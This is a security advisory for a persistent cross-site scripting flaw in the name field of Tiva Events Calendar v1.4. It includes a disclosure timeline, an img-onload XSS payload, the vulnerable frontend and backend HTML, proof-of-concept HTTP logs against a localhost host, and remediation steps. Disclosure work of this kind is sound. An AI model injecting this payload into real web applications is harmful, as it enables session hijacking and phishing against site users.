Document Title:
Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Events Calendar For PHP is a powerful PHP calendar script that can be easily integrated and used with various PHP projects, 
such as scheduler, event handler, etc. The calendar is simple to install, deploy, and use. It is suitable for all types of 
service businesses to get online reservations without any hassles.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent script code inject vulnerability in the Tiva Events Calender v1.4 web-application.

Affected Product(s):
Product: Tiva Events Calender - Calender PHP (Web-Application)

Vulnerability Disclosure Timeline:
2021-04-03: Researcher Notification & Coordination (Security Researcher)
2021-04-04: Vendor Notification 1 (Security Department)
2021-06-24: Vendor Notification 2 (Security Department)
2021-07-13: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2023-07-05: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted Authentication (User Privileges)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the official Tiva Events Calender v1.4 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser 
to web-application requests from the application-side.

The vulnerability is located in the name input field and name parameter. Remote attackers privileged user accounts are able to inject 
own malicious script codes as name. Thus results in a persistent execute of the script code in the backend on edit but as well in the 
frontend (index) were the event is being displayed after the submit (save) via post method request. In the same direction it is possible 
to inject malformed client-side executable script code in get request to trigger a non-persistent execution.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected frontend / backend application modules.

Request Method(s):
[+] POST / GET

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] index.php (Frontend on Event Preview)
[+] edit.php (Backend on Edit ID)

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

Exploitation: Payload
%20"<img src="evil.source" onload=alert(document.domain)>

Vulnerable Source: Frontend (Index)
<tr><td class="calendar-day-normal"><span class="calendar-day-weekend">8</span></td>
<td class="calendar-day-normal"><div class="calendar-day-file">9<div class="calendar-file-name color-4" onclick="downloadFile(220)">
<span class="event-name">event1"%20"<img src="evil.source" onload=alert(document.domain)></span></div></div></td><td class="calendar-day-normal">10</td>
<td class="calendar-day-normal">11</td><td class="calendar-day-normal">12</td><td class="calendar-day-normal">13</td>
<td class="calendar-day-normal"><span class="calendar-day-weekend">14</span></td></tr>

Vulnerable Source: Backend (Edit ID)
<section class="panel">
<header class="panel-heading"><i class="fa fa-folder-open"></i> Edit File</header>
<div class="panel-body">
<div class="alert alert-success">
<button data-dismiss="alert" class="close close-sm" type="button">
<i class="fa fa-times"></i>
</button>Report successfully saved.</div>	
<form class="form-horizontal" action="edit.php?id=220" method="post" enctype="multipart/form-data">
<div class="form-group">
<label class="col-lg-2 col-sm-2 control-label">Name<span class="star">&nbsp;*</span></label>
<div class="col-sm-8">
<input type="text" name="name" class="form-control" value="event1"%20"<img src="evil.source" onload=alert(document.domain)>" required /&gt;

--- PoC Session Logs (POST) ---
Host: tiva-cal.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------249785717017581481612148649683
Content-Length: 745
Origin: https://tiva-cal.localhost:8080
Connection: keep-alive
Referer: https://tiva-cal.localhost:8080/admin/report/edit.php
Cookie: PHPSESSID=76gqk14e1s6cce40hfj11
name="%20%20"<img src="evil.source" onload=alert(document.domain)>&type=1&time=20-08-2021&file=temp.txt&save=
POST: HTTP/2.0 200 OK
server: nginx
content-type: text/html
content-length: 1283
etag: "503-53ed12f4ca761"
accept-ranges: bytes
strict-transport-security: max-age=15768000; includeSubDomains
Host: tiva-cal.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Connection: keep-alive
Referer: https://tiva-cal.localhost:8080/admin/report/edit.php?id=222
Cookie: PHPSESSID=76gqk14e1s6cce40hfj11
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html
content-length: 1283
etag: "503-53ed12f4ca761"
accept-ranges: bytes
strict-transport-security: max-age=15768000; includeSubDomains

Solution - Fix & Patch:
The vulnerability can be patched by the following steps ...
1. Encode and escape the name input field content on transmit via post method
2. Restrict the input field and disallow insert of special chars
3. Parse the output location on the index frontend via encode to sanitize and prevent the execute
4. Parse the output location on the edit id report backend via encode to sanitize and prevent the execute

Security Risk:
The security risk of the persistent input validation vulnerability in the web-application is estimated as medium.

Credits & Authors:
Vulnerability-Lab [Research Team] -

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